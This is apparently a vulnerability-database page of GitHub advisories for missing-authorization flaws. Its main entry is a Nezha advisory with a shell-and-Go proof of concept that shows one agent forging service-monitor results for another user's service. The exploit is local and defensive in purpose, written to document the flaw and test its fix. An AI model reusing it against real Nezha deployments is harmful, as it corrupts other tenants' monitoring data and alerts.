Common Weakness Enumeration

CWE-862

Allowed-with-Review

Missing Authorization

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

The product does not perform an authorization check when an actor attempts to access a resource or perform an action.

14909 vulnerabilities reference this CWE, most recent first.

GHSA-4FVR-XJ2H-J282

Vulnerability from github – Published: 2026-05-27 15:33 – Updated: 2026-05-27 15:33
VLAI
Details

Missing Authorization vulnerability in Wpmet ElementsKit Elementor addons Lite allows Exploiting Incorrectly Configured Access Control Security Levels.

This issue affects ElementsKit Elementor addons Lite: from n/a through 3.9.6.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-49053"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-27T15:16:33Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Wpmet ElementsKit Elementor addons Lite allows Exploiting Incorrectly Configured Access Control Security Levels.\n\nThis issue affects ElementsKit Elementor addons Lite: from n/a through 3.9.6.",
  "id": "GHSA-4fvr-xj2h-j282",
  "modified": "2026-05-27T15:33:28Z",
  "published": "2026-05-27T15:33:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-49053"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/elementskit-lite/vulnerability/wordpress-elementskit-elementor-addons-lite-plugin-3-9-6-broken-access-control-vulnerability-2?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4FWR-RH49-J579

Vulnerability from github – Published: 2025-07-08 18:31 – Updated: 2025-07-08 18:31
VLAI
Details

Missing authorization in Windows StateRepository API allows an authorized attacker to perform tampering locally.

Severity
8.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-49723"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-08T17:16:00Z",
    "severity": "HIGH"
  },
  "details": "Missing authorization in Windows StateRepository API allows an authorized attacker to perform tampering locally.",
  "id": "GHSA-4fwr-rh49-j579",
  "modified": "2025-07-08T18:31:50Z",
  "published": "2025-07-08T18:31:50Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-49723"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-49723"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4G29-R7VJ-2RPV

Vulnerability from github – Published: 2022-10-19 19:00 – Updated: 2022-10-21 13:00
VLAI
Summary
Jenkins Job Import Plugin allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins
Details

Jenkins Job Import Plugin 3.5 and earlier does not perform a permission check in an HTTP endpoint, allowing attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins. An enumeration of credentials IDs in Job Import Plugin 3.6 requires Job Import/Import Jobs permission.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.5"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:job-import-plugin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-43413"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-10-19T22:24:06Z",
    "nvd_published_at": "2022-10-19T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins Job Import Plugin 3.5 and earlier does not perform a permission check in an HTTP endpoint, allowing attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins. An enumeration of credentials IDs in Job Import Plugin 3.6 requires Job Import/Import Jobs permission.",
  "id": "GHSA-4g29-r7vj-2rpv",
  "modified": "2022-10-21T13:00:42Z",
  "published": "2022-10-19T19:00:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43413"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/job-import-plugin/commit/1b4119849571d4879977c529f9972d271ad6a630"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2022-10-19/#SECURITY-2791"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2022/10/19/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins Job Import Plugin allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins"
}

GHSA-4G2X-69FG-5826

Vulnerability from github – Published: 2025-12-18 15:30 – Updated: 2026-06-05 15:32
VLAI
Details

Missing Authorization vulnerability in Utarit Informatics Services Inc. SoliClub allows Privilege Abuse.This issue affects SoliClub: before 5.3.7.

Severity
4.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-7047"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-18T15:16:06Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in Utarit Informatics Services Inc. SoliClub allows Privilege Abuse.This issue affects SoliClub: before 5.3.7.",
  "id": "GHSA-4g2x-69fg-5826",
  "modified": "2026-06-05T15:32:05Z",
  "published": "2025-12-18T15:30:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-7047"
    },
    {
      "type": "WEB",
      "url": "https://siberguvenlik.gov.tr/guvenlik-bildirimleri/detay/tr-25-0466"
    },
    {
      "type": "WEB",
      "url": "https://www.usom.gov.tr/bildirim/tr-25-0466"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4G5F-W3MH-W99M

Vulnerability from github – Published: 2023-12-13 18:31 – Updated: 2023-12-18 23:39
VLAI
Summary
Jenkins Nexus Platform Plugin missing permission check
Details

Jenkins Nexus Platform Plugin 3.18.0-03 and earlier does not perform permission checks in methods implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified HTTP server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

Additionally, these form validation methods do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

Nexus Platform Plugin 3.18.1-01 requires POST requests and Overall/Administer permission for the affected form validation methods.

Severity
4.2 (Medium)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.sonatype.nexus.ci:nexus-jenkins-plugin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.18.1-01"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-50769"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-18T23:39:03Z",
    "nvd_published_at": "2023-12-13T18:15:43Z",
    "severity": "MODERATE"
  },
  "details": "Jenkins Nexus Platform Plugin 3.18.0-03 and earlier does not perform permission checks in methods implementing form validation.\n\nThis allows attackers with Overall/Read permission to connect to an attacker-specified HTTP server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.\n\nAdditionally, these form validation methods do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.\n\nNexus Platform Plugin 3.18.1-01 requires POST requests and Overall/Administer permission for the affected form validation methods.",
  "id": "GHSA-4g5f-w3mh-w99m",
  "modified": "2023-12-18T23:39:03Z",
  "published": "2023-12-13T18:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50769"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/nexus-platform-plugin/pull/291"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/nexus-platform-plugin/commit/1d5e1e9e457af5e8ce8c9a403933d6cb73542dbd"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/nexus-platform-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2023-12-13/#SECURITY-3203"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2023/12/13/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Jenkins Nexus Platform Plugin missing permission check"
}

GHSA-4G6J-G789-RGHM

Vulnerability from github – Published: 2026-06-01 14:05 – Updated: 2026-06-26 21:28
VLAI
Summary
Nezha's authenticated agents can forge service-monitor results for other users' services
Details

Summary

Nezha accepts service-monitor TaskResult messages from an authenticated agent based only on whether the reported service ID exists. The dashboard authenticates the agent and derives the reporter server ID from the gRPC stream, but the service-monitor result worker does not verify that the reporter server was selected for that service, belongs to the service owner, or was actually assigned that monitoring task.

A low-privilege user with a valid agent secret and one registered agent can therefore submit forged monitoring results for another user's service ID. This allows cross-tenant corruption of service-monitor history/current state, and can influence victim-owned service notifications with attacker-controlled result text.

Details

The agent task stream accepts inbound TaskResult messages after authenticating agent metadata:

  • service/rpc/auth.go:23-60 validates client_secret and client_uuid.
  • service/rpc/auth.go:63-75 registers an unknown valid UUID as a server for the authenticated secret owner.
  • service/rpc/nezha.go:40-48 authenticates the RequestTask stream and binds it to clientID.
  • service/rpc/nezha.go:50-56 receives agent-controlled TaskResult messages.
  • proto/nezha.proto:60-65 defines attacker-controlled TaskResult.id, type, delay, data, and successful.

For service-monitor task types, the result is dispatched directly to the service sentinel using the authenticated server ID as reporter:

  • service/rpc/nezha.go:85-90 dispatches service-monitor result types to ServiceSentinelShared.Dispatch with Reporter: clientID.
  • model/service.go:131-140 treats non-operational task types as service-monitor result types.

The vulnerable authorization gap is in the service-monitor worker:

  • service/singleton/servicesentinel.go:475-483 checks only that r.Data.GetId() resolves to an existing service.
  • It does not check that r.Reporter is covered by that service.
  • It does not check that the service owner owns the reporter server.
  • It does not check that the dashboard actually sent this service-monitor task to that agent.

The forged result is then recorded and used for service status processing:

  • service/singleton/servicesentinel.go:487-528 records ping service history keyed by ServiceID and Reporter.
  • service/singleton/servicesentinel.go:543-624 updates today's status, current service state, and state-change handling.
  • service/singleton/servicesentinel.go:723-739 can send victim-owned notifications containing mh.Data, which is attacker-controlled result text.

This is inconsistent with outbound service-monitor dispatch, which does enforce service coverage and ownership before sending tasks to agents:

  • cmd/dashboard/rpc/rpc.go:84-109 sends service-monitor tasks only to selected/non-skipped servers according to Service.Cover and SkipServers.
  • cmd/dashboard/rpc/rpc.go:96-107 calls canSendTaskToServer before sending.
  • cmd/dashboard/rpc/rpc.go:182-193 permits outbound dispatch only when the service owner owns the server, or when the service owner is an admin.
  • cmd/dashboard/controller/service.go:478-480 and cmd/dashboard/controller/service.go:590-607 validate selected servers, trigger tasks, and notification groups during service creation/update.

The inbound result path should mirror these authorization checks before accepting a result.

PoC

The following local PoC creates a temporary Go test file in service/singleton, uses an in-memory SQLite database, does not start the dashboard listener, does not contact public systems, and removes the temporary test file on exit.

The PoC proves the vulnerable processing path by creating:

  • victim user ID 100;
  • victim service ID 10;
  • victim server ID 1;
  • attacker user ID 200;
  • attacker reporter server ID 2.

The victim service is configured with ServiceCoverIgnoreAll and only server 1 enabled. Therefore, the dashboard's outbound service-monitor dispatch logic would not send this task to attacker server 2.

The forged inbound result from reporter 2 is nevertheless accepted and creates a ServiceHistory row for victim service 10.

Environment tested:

  • Repository: https://github.com/nezhahq/nezha.git
  • Commit: 79c06d0f95ad4e0eedc01a72fc0c54f4666cb0bf
  • OS: Linux
  • Test date: 2026-05-19

From a clean checkout of the tested commit, run:

set -e
pocfile=$(mktemp service/singleton/service_spoof_poc_XXXX_test.go)
cleanup() {
  rm -f "$pocfile"
}
trap cleanup EXIT

cat > "$pocfile" <<'EOF'
package singleton

import (
    "testing"
    "time"

    "github.com/patrickmn/go-cache"
    "github.com/robfig/cron/v3"
    "gorm.io/driver/sqlite"
    "gorm.io/gorm"

    "github.com/nezhahq/nezha/model"
    pb "github.com/nezhahq/nezha/proto"
)

func replaceServerSharedForSpoofPoC(t *testing.T, servers ...*model.Server) {
    t.Helper()

    original := ServerShared
    serverClass := &ServerClass{
        class: class[uint64, *model.Server]{
            list: make(map[uint64]*model.Server),
        },
        uuidToID: make(map[string]uint64),
    }
    for _, server := range servers {
        serverClass.list[server.ID] = server
    }
    ServerShared = serverClass
    t.Cleanup(func() { ServerShared = original })
}

func TestForgedAgentServiceResultCreatesHistoryForUnassignedService(t *testing.T) {
    originalDB := DB
    originalConf := Conf
    originalCache := Cache
    originalCronShared := CronShared
    originalServerShared := ServerShared
    originalServiceSentinelShared := ServiceSentinelShared
    originalNotificationShared := NotificationShared
    originalTSDB := TSDBShared
    originalLoc := Loc

    t.Cleanup(func() {
        DB = originalDB
        Conf = originalConf
        Cache = originalCache
        CronShared = originalCronShared
        ServerShared = originalServerShared
        ServiceSentinelShared = originalServiceSentinelShared
        NotificationShared = originalNotificationShared
        TSDBShared = originalTSDB
        Loc = originalLoc
    })

    db, err := gorm.Open(sqlite.Open("file::memory:?cache=shared"), &gorm.Config{})
    if err != nil {
        t.Fatal(err)
    }
    DB = db

    if err := DB.AutoMigrate(
        model.Server{},
        model.Service{},
        model.ServiceHistory{},
        model.Notification{},
        model.NotificationGroup{},
        model.NotificationGroupNotification{},
    ); err != nil {
        t.Fatal(err)
    }

    Conf = &ConfigClass{Config: &model.Config{AvgPingCount: 1}}
    Cache = cache.New(time.Minute, time.Minute)
    CronShared = &CronClass{
        Cron:  cron.New(cron.WithSeconds()),
        class: class[uint64, *model.Cron]{list: map[uint64]*model.Cron{}},
    }
    NotificationShared = &NotificationClass{
        class:         class[uint64, *model.Notification]{list: map[uint64]*model.Notification{}},
        groupToIDList: map[uint64]map[uint64]*model.Notification{},
        idToGroupList: map[uint64]map[uint64]struct{}{},
        groupList:     map[uint64]string{},
    }

    replaceServerSharedForSpoofPoC(t,
        &model.Server{Common: model.Common{ID: 1, UserID: 100}, Name: "victim-server"},
        &model.Server{Common: model.Common{ID: 2, UserID: 200}, Name: "attacker-agent"},
    )

    Loc = time.UTC

    bus := make(chan *model.Service, 1)
    ss, err := NewServiceSentinel(bus)
    if err != nil {
        t.Fatal(err)
    }
    ServiceSentinelShared = ss

    victimService := &model.Service{
        Common:      model.Common{ID: 10, UserID: 100},
        Name:        "victim-private-service",
        Type:        model.TaskTypeTCPPing,
        Target:      "example.invalid:443",
        Duration:    3600,
        Cover:       model.ServiceCoverIgnoreAll,
        SkipServers: map[uint64]bool{1: true},
    }
    if err := DB.Create(victimService).Error; err != nil {
        t.Fatal(err)
    }
    if err := ss.Update(victimService); err != nil {
        t.Fatal(err)
    }

    ss.Dispatch(ReportData{
        Reporter: 2,
        Data: &pb.TaskResult{
            Id:         10,
            Type:       model.TaskTypeTCPPing,
            Delay:      12,
            Data:       "forged result from unauthorized agent",
            Successful: true,
        },
    })

    deadline := time.After(2 * time.Second)
    for {
        var count int64
        if err := DB.Model(&model.ServiceHistory{}).
            Where("service_id = ? AND server_id = ?", 10, 2).
            Count(&count).Error; err != nil {
            t.Fatal(err)
        }

        if count > 0 {
            return
        }

        select {
        case <-deadline:
            t.Fatalf("expected forged history row for service 10 from unauthorized reporter 2")
        default:
            time.Sleep(10 * time.Millisecond)
        }
    }
}
EOF

go test ./service/singleton -run TestForgedAgentServiceResultCreatesHistoryForUnassignedService -count=1 -v

Expected vulnerable output:

=== RUN   TestForgedAgentServiceResultCreatesHistoryForUnassignedService
--- PASS: TestForgedAgentServiceResultCreatesHistoryForUnassignedService
PASS
ok      github.com/nezhahq/nezha/service/singleton

Observed output in my local test environment:

=== RUN   TestForgedAgentServiceResultCreatesHistoryForUnassignedService
--- PASS: TestForgedAgentServiceResultCreatesHistoryForUnassignedService (0.01s)
PASS
ok      github.com/nezhahq/nezha/service/singleton  0.020s

The test passes because a forged result from reporter server 2 creates a service-history row for victim service 10, even though service 10 only covers victim server 1.

A fixed version should reject or ignore this forged result. After a fix, the current PoC should fail at the assertion waiting for a ServiceHistory row unless the test is changed to assert that count == 0.

Note: this is a local processing-path PoC. It directly exercises the same service sentinel worker that the authenticated gRPC RequestTask path dispatches to. It does not open a network gRPC connection, send real notifications, or execute commands.

Impact

A low-privilege Nezha user with a valid agent secret can forge service-monitor results for services outside their ownership boundary.

Confirmed impact:

  • Cross-tenant service-monitor integrity violation.
  • False service history entries for victim-owned services.
  • Poisoned service availability/current-state data.

Likely impact through the same processing path:

  • Victim-owned service notifications can be triggered with attacker-controlled result text.
  • Monitoring reliability can be degraded by false up/down/latency results.

This does not require dashboard administrator privileges. The attacker only needs a normal account/agent secret and one registered agent/server.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nezhahq/nezha"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.20.0"
            },
            {
              "fixed": "1.14.15-0.20260521020202-02129f16fb15"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/nezhahq/nezha"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48119"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-01T14:05:06Z",
    "nvd_published_at": "2026-06-12T22:16:51Z",
    "severity": "HIGH"
  },
  "details": "#### Summary\n\nNezha accepts service-monitor `TaskResult` messages from an authenticated agent based only on whether the reported service ID exists. The dashboard authenticates the agent and derives the reporter server ID from the gRPC stream, but the service-monitor result worker does not verify that the reporter server was selected for that service, belongs to the service owner, or was actually assigned that monitoring task.\n\nA low-privilege user with a valid agent secret and one registered agent can therefore submit forged monitoring results for another user\u0027s service ID. This allows cross-tenant corruption of service-monitor history/current state, and can influence victim-owned service notifications with attacker-controlled result text.\n\n#### Details\n\nThe agent task stream accepts inbound `TaskResult` messages after authenticating agent metadata:\n\n- `service/rpc/auth.go:23-60` validates `client_secret` and `client_uuid`.\n- `service/rpc/auth.go:63-75` registers an unknown valid UUID as a server for the authenticated secret owner.\n- `service/rpc/nezha.go:40-48` authenticates the `RequestTask` stream and binds it to `clientID`.\n- `service/rpc/nezha.go:50-56` receives agent-controlled `TaskResult` messages.\n- `proto/nezha.proto:60-65` defines attacker-controlled `TaskResult.id`, `type`, `delay`, `data`, and `successful`.\n\nFor service-monitor task types, the result is dispatched directly to the service sentinel using the authenticated server ID as reporter:\n\n- `service/rpc/nezha.go:85-90` dispatches service-monitor result types to `ServiceSentinelShared.Dispatch` with `Reporter: clientID`.\n- `model/service.go:131-140` treats non-operational task types as service-monitor result types.\n\nThe vulnerable authorization gap is in the service-monitor worker:\n\n- `service/singleton/servicesentinel.go:475-483` checks only that `r.Data.GetId()` resolves to an existing service.\n- It does not check that `r.Reporter` is covered by that service.\n- It does not check that the service owner owns the reporter server.\n- It does not check that the dashboard actually sent this service-monitor task to that agent.\n\nThe forged result is then recorded and used for service status processing:\n\n- `service/singleton/servicesentinel.go:487-528` records ping service history keyed by `ServiceID` and `Reporter`.\n- `service/singleton/servicesentinel.go:543-624` updates today\u0027s status, current service state, and state-change handling.\n- `service/singleton/servicesentinel.go:723-739` can send victim-owned notifications containing `mh.Data`, which is attacker-controlled result text.\n\nThis is inconsistent with outbound service-monitor dispatch, which does enforce service coverage and ownership before sending tasks to agents:\n\n- `cmd/dashboard/rpc/rpc.go:84-109` sends service-monitor tasks only to selected/non-skipped servers according to `Service.Cover` and `SkipServers`.\n- `cmd/dashboard/rpc/rpc.go:96-107` calls `canSendTaskToServer` before sending.\n- `cmd/dashboard/rpc/rpc.go:182-193` permits outbound dispatch only when the service owner owns the server, or when the service owner is an admin.\n- `cmd/dashboard/controller/service.go:478-480` and `cmd/dashboard/controller/service.go:590-607` validate selected servers, trigger tasks, and notification groups during service creation/update.\n\nThe inbound result path should mirror these authorization checks before accepting a result.\n\n#### PoC\n\nThe following local PoC creates a temporary Go test file in `service/singleton`, uses an in-memory SQLite database, does not start the dashboard listener, does not contact public systems, and removes the temporary test file on exit.\n\nThe PoC proves the vulnerable processing path by creating:\n\n- victim user ID `100`;\n- victim service ID `10`;\n- victim server ID `1`;\n- attacker user ID `200`;\n- attacker reporter server ID `2`.\n\nThe victim service is configured with `ServiceCoverIgnoreAll` and only server `1` enabled. Therefore, the dashboard\u0027s outbound service-monitor dispatch logic would not send this task to attacker server `2`.\n\nThe forged inbound result from reporter `2` is nevertheless accepted and creates a `ServiceHistory` row for victim service `10`.\n\nEnvironment tested:\n\n- Repository: `https://github.com/nezhahq/nezha.git`\n- Commit: `79c06d0f95ad4e0eedc01a72fc0c54f4666cb0bf`\n- OS: Linux\n- Test date: 2026-05-19\n\nFrom a clean checkout of the tested commit, run:\n\n```sh\nset -e\npocfile=$(mktemp service/singleton/service_spoof_poc_XXXX_test.go)\ncleanup() {\n  rm -f \"$pocfile\"\n}\ntrap cleanup EXIT\n\ncat \u003e \"$pocfile\" \u003c\u003c\u0027EOF\u0027\npackage singleton\n\nimport (\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/patrickmn/go-cache\"\n\t\"github.com/robfig/cron/v3\"\n\t\"gorm.io/driver/sqlite\"\n\t\"gorm.io/gorm\"\n\n\t\"github.com/nezhahq/nezha/model\"\n\tpb \"github.com/nezhahq/nezha/proto\"\n)\n\nfunc replaceServerSharedForSpoofPoC(t *testing.T, servers ...*model.Server) {\n\tt.Helper()\n\n\toriginal := ServerShared\n\tserverClass := \u0026ServerClass{\n\t\tclass: class[uint64, *model.Server]{\n\t\t\tlist: make(map[uint64]*model.Server),\n\t\t},\n\t\tuuidToID: make(map[string]uint64),\n\t}\n\tfor _, server := range servers {\n\t\tserverClass.list[server.ID] = server\n\t}\n\tServerShared = serverClass\n\tt.Cleanup(func() { ServerShared = original })\n}\n\nfunc TestForgedAgentServiceResultCreatesHistoryForUnassignedService(t *testing.T) {\n\toriginalDB := DB\n\toriginalConf := Conf\n\toriginalCache := Cache\n\toriginalCronShared := CronShared\n\toriginalServerShared := ServerShared\n\toriginalServiceSentinelShared := ServiceSentinelShared\n\toriginalNotificationShared := NotificationShared\n\toriginalTSDB := TSDBShared\n\toriginalLoc := Loc\n\n\tt.Cleanup(func() {\n\t\tDB = originalDB\n\t\tConf = originalConf\n\t\tCache = originalCache\n\t\tCronShared = originalCronShared\n\t\tServerShared = originalServerShared\n\t\tServiceSentinelShared = originalServiceSentinelShared\n\t\tNotificationShared = originalNotificationShared\n\t\tTSDBShared = originalTSDB\n\t\tLoc = originalLoc\n\t})\n\n\tdb, err := gorm.Open(sqlite.Open(\"file::memory:?cache=shared\"), \u0026gorm.Config{})\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tDB = db\n\n\tif err := DB.AutoMigrate(\n\t\tmodel.Server{},\n\t\tmodel.Service{},\n\t\tmodel.ServiceHistory{},\n\t\tmodel.Notification{},\n\t\tmodel.NotificationGroup{},\n\t\tmodel.NotificationGroupNotification{},\n\t); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tConf = \u0026ConfigClass{Config: \u0026model.Config{AvgPingCount: 1}}\n\tCache = cache.New(time.Minute, time.Minute)\n\tCronShared = \u0026CronClass{\n\t\tCron:  cron.New(cron.WithSeconds()),\n\t\tclass: class[uint64, *model.Cron]{list: map[uint64]*model.Cron{}},\n\t}\n\tNotificationShared = \u0026NotificationClass{\n\t\tclass:         class[uint64, *model.Notification]{list: map[uint64]*model.Notification{}},\n\t\tgroupToIDList: map[uint64]map[uint64]*model.Notification{},\n\t\tidToGroupList: map[uint64]map[uint64]struct{}{},\n\t\tgroupList:     map[uint64]string{},\n\t}\n\n\treplaceServerSharedForSpoofPoC(t,\n\t\t\u0026model.Server{Common: model.Common{ID: 1, UserID: 100}, Name: \"victim-server\"},\n\t\t\u0026model.Server{Common: model.Common{ID: 2, UserID: 200}, Name: \"attacker-agent\"},\n\t)\n\n\tLoc = time.UTC\n\n\tbus := make(chan *model.Service, 1)\n\tss, err := NewServiceSentinel(bus)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tServiceSentinelShared = ss\n\n\tvictimService := \u0026model.Service{\n\t\tCommon:      model.Common{ID: 10, UserID: 100},\n\t\tName:        \"victim-private-service\",\n\t\tType:        model.TaskTypeTCPPing,\n\t\tTarget:      \"example.invalid:443\",\n\t\tDuration:    3600,\n\t\tCover:       model.ServiceCoverIgnoreAll,\n\t\tSkipServers: map[uint64]bool{1: true},\n\t}\n\tif err := DB.Create(victimService).Error; err != nil {\n\t\tt.Fatal(err)\n\t}\n\tif err := ss.Update(victimService); err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tss.Dispatch(ReportData{\n\t\tReporter: 2,\n\t\tData: \u0026pb.TaskResult{\n\t\t\tId:         10,\n\t\t\tType:       model.TaskTypeTCPPing,\n\t\t\tDelay:      12,\n\t\t\tData:       \"forged result from unauthorized agent\",\n\t\t\tSuccessful: true,\n\t\t},\n\t})\n\n\tdeadline := time.After(2 * time.Second)\n\tfor {\n\t\tvar count int64\n\t\tif err := DB.Model(\u0026model.ServiceHistory{}).\n\t\t\tWhere(\"service_id = ? AND server_id = ?\", 10, 2).\n\t\t\tCount(\u0026count).Error; err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\n\t\tif count \u003e 0 {\n\t\t\treturn\n\t\t}\n\n\t\tselect {\n\t\tcase \u003c-deadline:\n\t\t\tt.Fatalf(\"expected forged history row for service 10 from unauthorized reporter 2\")\n\t\tdefault:\n\t\t\ttime.Sleep(10 * time.Millisecond)\n\t\t}\n\t}\n}\nEOF\n\ngo test ./service/singleton -run TestForgedAgentServiceResultCreatesHistoryForUnassignedService -count=1 -v\n```\n\nExpected vulnerable output:\n\n```text\n=== RUN   TestForgedAgentServiceResultCreatesHistoryForUnassignedService\n--- PASS: TestForgedAgentServiceResultCreatesHistoryForUnassignedService\nPASS\nok  \tgithub.com/nezhahq/nezha/service/singleton\n```\n\nObserved output in my local test environment:\n\n```text\n=== RUN   TestForgedAgentServiceResultCreatesHistoryForUnassignedService\n--- PASS: TestForgedAgentServiceResultCreatesHistoryForUnassignedService (0.01s)\nPASS\nok  \tgithub.com/nezhahq/nezha/service/singleton\t0.020s\n```\n\nThe test passes because a forged result from reporter server `2` creates a service-history row for victim service `10`, even though service `10` only covers victim server `1`.\n\nA fixed version should reject or ignore this forged result. After a fix, the current PoC should fail at the assertion waiting for a `ServiceHistory` row unless the test is changed to assert that `count == 0`.\n\nNote: this is a local processing-path PoC. It directly exercises the same service sentinel worker that the authenticated gRPC `RequestTask` path dispatches to. It does not open a network gRPC connection, send real notifications, or execute commands.\n\n#### Impact\n\nA low-privilege Nezha user with a valid agent secret can forge service-monitor results for services outside their ownership boundary.\n\nConfirmed impact:\n\n- Cross-tenant service-monitor integrity violation.\n- False service history entries for victim-owned services.\n- Poisoned service availability/current-state data.\n\nLikely impact through the same processing path:\n\n- Victim-owned service notifications can be triggered with attacker-controlled result text.\n- Monitoring reliability can be degraded by false up/down/latency results.\n\nThis does not require dashboard administrator privileges. The attacker only needs a normal account/agent secret and one registered agent/server.",
  "id": "GHSA-4g6j-g789-rghm",
  "modified": "2026-06-26T21:28:43Z",
  "published": "2026-06-01T14:05:06Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nezhahq/nezha/security/advisories/GHSA-4g6j-g789-rghm"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48119"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nezhahq/nezha/commit/02129f16fb1572ef57c7e8dd7d03f84d39b8b586"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nezhahq/nezha"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
